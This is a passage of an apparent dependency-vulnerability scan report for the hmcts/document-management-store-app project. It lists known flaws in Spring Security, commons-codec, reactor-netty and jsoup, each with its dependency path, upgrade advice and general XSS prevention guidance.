Upgrade org.springframework.security:spring-security-core to version 5.4.4, 5.3.8.RELEASE, 5.2.9.RELEASE or higher.

References

medium severity

Arbitrary Code Execution

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.7.RELEASE.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Arbitrary Code Execution. CRLF injection vulnerability in the logout functionality in VMware SpringSource Spring Security before 2.0.7 and 3.0.x before 3.0.6 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the spring-security-redirect parameter.

Remediation

Upgrade org.springframework.security:spring-security-core to version 2.0.7.RELEASE, 3.0.6.RELEASE or higher.

References

medium severity

Arbitrary Code Execution

  • Vulnerable module: org.springframework.security:spring-security-web
  • Introduced through: org.springframework.security:spring-security-web@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-web@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-web@3.0.6.RELEASE.

Overview

org.springframework.security:spring-security-web is a package within Spring Security that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Arbitrary Code Execution. CRLF injection vulnerability in the logout functionality in VMware SpringSource Spring Security before 2.0.7 and 3.0.x before 3.0.6 allows remote attackers to inject arbitrary HTTP headers and conduct HTTP response splitting attacks via the spring-security-redirect parameter.

Remediation

Upgrade org.springframework.security:spring-security-web to version 3.0.6.RELEASE or higher.

References

medium severity

Authorization Bypass

  • Vulnerable module: org.springframework.security:spring-security-oauth2-jose
  • Introduced through: org.springframework.security:spring-security-oauth2-jose@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-oauth2-jose@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-oauth2-jose@5.0.0.RELEASE.

Overview

org.springframework.security:spring-security-oauth2-jose provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Authorization Bypass via the JWT issuer validator. An attacker could fashion signed JWTs with the malicious issuer URL that may be granted for the honest issue. In order to be impacted, the same private key for an honest issuer and a malicious user must be used when signing JWTs.

Remediation

Upgrade org.springframework.security:spring-security-oauth2-jose to version 5.1.2.RELEASE or higher.

References

medium severity

Dual license: CDDL-1.0, LGPL-2.1

  • Module: org.codelibs:jhighlight
  • Introduced through: org.apache.tika:tika-parsers-standard-package@3.3.2

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-code-module@3.3.2 › org.codelibs:jhighlight@1.1.1

Dual license: CDDL-1.0, LGPL-2.1

low severity

Information Exposure

  • Vulnerable module: commons-codec:commons-codec
  • Introduced through: org.apache.httpcomponents:httpclient@4.5.14 and org.apache.tika:tika-parsers-standard-package@3.3.2

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.httpcomponents:httpclient@4.5.14 › commons-codec:commons-codec@1.11
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-html-module@3.3.2 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-text-module@3.3.2 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-xml-module@3.3.2 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-digest-commons@3.3.2 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-miscoffice-module@3.3.2 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-webarchive-module@3.3.2 › org.apache.commons:commons-compress@1.28.0 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-miscoffice-module@3.3.2 › org.apache.poi:poi@5.5.1 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.apache.poi:poi@5.5.1 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.apache.poi:poi-scratchpad@5.5.1 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.apache.tika:tika-parser-html-module@3.3.2 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-mail-module@3.3.2 › org.apache.tika:tika-parser-html-module@3.3.2 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-text-module@3.3.2 › org.apache.commons:commons-csv@1.14.1 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.apache.tika:tika-parser-text-module@3.3.2 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-code-module@3.3.2 › org.apache.tika:tika-parser-text-module@3.3.2 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-mail-module@3.3.2 › org.apache.tika:tika-parser-text-module@3.3.2 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-miscoffice-module@3.3.2 › org.apache.tika:tika-parser-text-module@3.3.2 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.apache.tika:tika-parser-xml-module@3.3.2 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-miscoffice-module@3.3.2 › org.apache.tika:tika-parser-xml-module@3.3.2 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-cad-module@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-apple-module@3.3.2 › org.apache.tika:tika-parser-zip-commons@3.3.2 › org.apache.commons:commons-compress@1.28.0 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.apache.tika:tika-parser-zip-commons@3.3.2 › org.apache.commons:commons-compress@1.28.0 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-miscoffice-module@3.3.2 › org.apache.tika:tika-parser-zip-commons@3.3.2 › org.apache.commons:commons-compress@1.28.0 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-pkg-module@3.3.2 › org.apache.tika:tika-parser-zip-commons@3.3.2 › org.apache.commons:commons-compress@1.28.0 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.apache.poi:poi-ooxml@5.5.1 › org.apache.commons:commons-compress@1.28.0 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.apache.poi:poi-ooxml@5.5.1 › org.apache.poi:poi@5.5.1 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.apache.poi:poi-scratchpad@5.5.1 › org.apache.poi:poi@5.5.1 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-cad-module@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.apache.poi:poi@5.5.1 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-cad-module@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.apache.poi:poi-scratchpad@5.5.1 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-cad-module@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.apache.tika:tika-parser-html-module@3.3.2 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.apache.tika:tika-parser-text-module@3.3.2 › org.apache.commons:commons-csv@1.14.1 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-code-module@3.3.2 › org.apache.tika:tika-parser-text-module@3.3.2 › org.apache.commons:commons-csv@1.14.1 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-mail-module@3.3.2 › org.apache.tika:tika-parser-text-module@3.3.2 › org.apache.commons:commons-csv@1.14.1 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-miscoffice-module@3.3.2 › org.apache.tika:tika-parser-text-module@3.3.2 › org.apache.commons:commons-csv@1.14.1 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-cad-module@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.apache.tika:tika-parser-text-module@3.3.2 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-cad-module@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.apache.tika:tika-parser-xml-module@3.3.2 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-cad-module@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.apache.tika:tika-parser-zip-commons@3.3.2 › org.apache.commons:commons-compress@1.28.0 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-cad-module@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.apache.poi:poi-ooxml@5.5.1 › org.apache.commons:commons-compress@1.28.0 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-cad-module@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.apache.poi:poi-ooxml@5.5.1 › org.apache.poi:poi@5.5.1 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-cad-module@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.apache.poi:poi-scratchpad@5.5.1 › org.apache.poi:poi@5.5.1 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-cad-module@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.apache.tika:tika-parser-text-module@3.3.2 › org.apache.commons:commons-csv@1.14.1 › commons-codec:commons-codec@1.11
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@3.3.2.

Overview

commons-codec:commons-codec is a package that contains simple encoder and decoders for various formats such as Base64 and Hexadecimal.

Affected versions of this package are vulnerable to Information Exposure. When there is no byte array value that can be encoded into a string the Base32 implementation does not reject it, and instead decodes it into an arbitrary value which can be re-encoded again using the same implementation. This allows for information exposure exploits such as tunneling additional information via seemingly valid base 32 strings.

Remediation

Upgrade commons-codec:commons-codec to version 1.14 or higher.

References

low severity

Insecure Randomness

  • Vulnerable module: org.springframework.security:spring-security-core
  • Introduced through: org.springframework.security:spring-security-core@versions.springSecurity

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.springframework.security:spring-security-core@versions.springSecurity
    Remediation: Upgrade to org.springframework.security:spring-security-core@2.0.0.

Overview

org.springframework.security:spring-security-core is a package that provides security services for the Spring IO Platform.

Affected versions of this package are vulnerable to Insecure Randomness due to the usage of SecureRandomFactoryBean#setSeed function to configure a SecureRandom instance. In order for exploitation, an attacker will need to obtain the content generated from an application's seed value.

Remediation

Upgrade org.springframework.security:spring-security-core to version 4.2.12.RELEASE, 5.0.12.RELEASE, 5.1.5.RELEASE or higher.

References

low severity

Open Redirect

  • Vulnerable module: io.projectreactor.netty:reactor-netty-http
  • Introduced through: com.azure:azure-storage-blob@12.35.1

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › com.azure:azure-storage-blob@12.35.1 › com.azure:azure-storage-internal-avro@12.20.1 › com.azure:azure-storage-common@12.34.1 › com.azure:azure-core-http-netty@1.16.6 › io.projectreactor.netty:reactor-netty-http@1.2.18

Overview

Affected versions of this package are vulnerable to Open Redirect in scenarios where a WebSocket handshake is redirected to a different origin and the HTTP client is explicitly configured to follow redirects. An attacker can obtain sensitive credentials by leveraging crafted redirect responses.

Note: This is only exploitable if the HTTP client is set to follow redirects.

Remediation

Upgrade io.projectreactor.netty:reactor-netty-http to version 1.3.7 or higher.

References

low severity

Cross-site Scripting (XSS)

  • Vulnerable module: org.jsoup:jsoup
  • Introduced through: org.apache.tika:tika-parsers-standard-package@3.3.2

Detailed paths

  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-html-module@3.3.2 › org.jsoup:jsoup@1.22.2
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.0.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-code-module@3.3.2 › org.jsoup:jsoup@1.22.2
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.0.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.apache.tika:tika-parser-html-module@3.3.2 › org.jsoup:jsoup@1.22.2
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.0.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-mail-module@3.3.2 › org.apache.tika:tika-parser-html-module@3.3.2 › org.jsoup:jsoup@1.22.2
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.0.0.
  • Introduced through: hmcts/document-management-store-app@hmcts/document-management-store-app › org.apache.tika:tika-parsers-standard-package@3.3.2 › org.apache.tika:tika-parser-cad-module@3.3.2 › org.apache.tika:tika-parser-microsoft-module@3.3.2 › org.apache.tika:tika-parser-html-module@3.3.2 › org.jsoup:jsoup@1.22.2
    Remediation: Upgrade to org.apache.tika:tika-parsers-standard-package@4.0.0.

Overview

org.jsoup:jsoup is a Java library for working with real-world HTML. It provides a very convenient API for extracting and manipulating data, using the best of DOM, CSS, and jquery-like methods. jsoup implements the WHATWG HTML5 specification, and parses HTML to the same DOM as modern browsers do.

Affected versions of this package are vulnerable to Cross-site Scripting (XSS) in the Cleaner process when a custom Safelist allows certain raw-text elements. An attacker can cause content that should remain as text to be emitted as active markup by crafting malformed HTML with tag names ending in control characters, potentially leading to unintended script execution after serialization. This is only exploitable if custom Safelist configurations permit raw-text elements; jsoup’s built-in Safelists are not affected.

Workaround

This vulnerability can be mitigated by not permitting raw-text elements in custom Safelists used to clean untrusted HTML.

Details

Cross-site scripting (or XSS) is a code vulnerability that occurs when an attacker “injects” a malicious script into an otherwise trusted website. The injected script gets downloaded and executed by the end user’s browser when the user interacts with the compromised website.

This is done by escaping the context of the web application; the web application then delivers that data to its users along with other trusted dynamic content, without validating it. The browser unknowingly executes malicious script on the client side (through client-side languages; usually JavaScript or HTML) in order to perform actions that are otherwise typically blocked by the browser’s Same Origin Policy.

Injecting malicious code is the most prevalent manner by which XSS is exploited; for this reason, escaping characters in order to prevent this manipulation is the top method for securing code against this vulnerability.

Escaping means that the application is coded to mark key characters, and particularly key characters included in user input, to prevent those characters from being interpreted in a dangerous context. For example, in HTML, < can be coded as &lt; and > can be coded as &gt; in order to be interpreted and displayed as themselves in text, while within the code itself, they are used for HTML tags. If malicious content is injected into an application that escapes special characters and that malicious content uses < and > as HTML tags, those characters are nonetheless not interpreted as HTML tags by the browser if they’ve been correctly escaped in the application code and in this way the attempted attack is diverted.

The most prominent use of XSS is to steal cookies (source: OWASP HttpOnly) and hijack user sessions, but XSS exploits have been used to expose sensitive information, enable access to privileged services and functionality and deliver malware.

Types of attacks

There are a few methods by which XSS can be manipulated:

Type Origin Description
Stored Server The malicious code is inserted in the application (usually as a link) by the attacker. The code is activated every time a user clicks the link.
Reflected Server The attacker delivers a malicious link externally from the vulnerable web site application to a user. When clicked, malicious code is sent to the vulnerable web site, which reflects the attack back to the user’s browser.
DOM-based Client The attacker forces the user’s browser to render a malicious page. The data in the page itself delivers the cross-site scripting data.
Mutated The attacker injects code that appears safe, but is then rewritten and modified by the browser, while parsing the markup. An example is rebalancing unclosed quotation marks or even adding quotation marks to unquoted parameters.

Affected environments

The following environments are susceptible to an XSS attack:

  • Web servers
  • Application servers
  • Web application environments

How to prevent

This section describes the top best practices designed to specifically protect your code:

  • Sanitize data input in an HTTP request before reflecting it back, ensuring all data is validated, filtered or escaped before echoing anything back to the user, such as the values of query parameters during searches.
  • Convert special characters such as ?, &, /, <, > and spaces to their respective HTML or URL encoded equivalents.
  • Give users the option to disable client-side scripts.
  • Redirect invalid requests.
  • Detect simultaneous logins, including those from two separate IP addresses, and invalidate those sessions.
  • Use and enforce a Content Security Policy (source: Wikipedia) to disable any features that might be manipulated for an XSS attack.
  • Read the documentation for any of the libraries referenced in your code to understand which elements allow for embedded HTML.

Remediation

Upgrade org.jsoup:jsoup to version 1.23.1 or higher.

References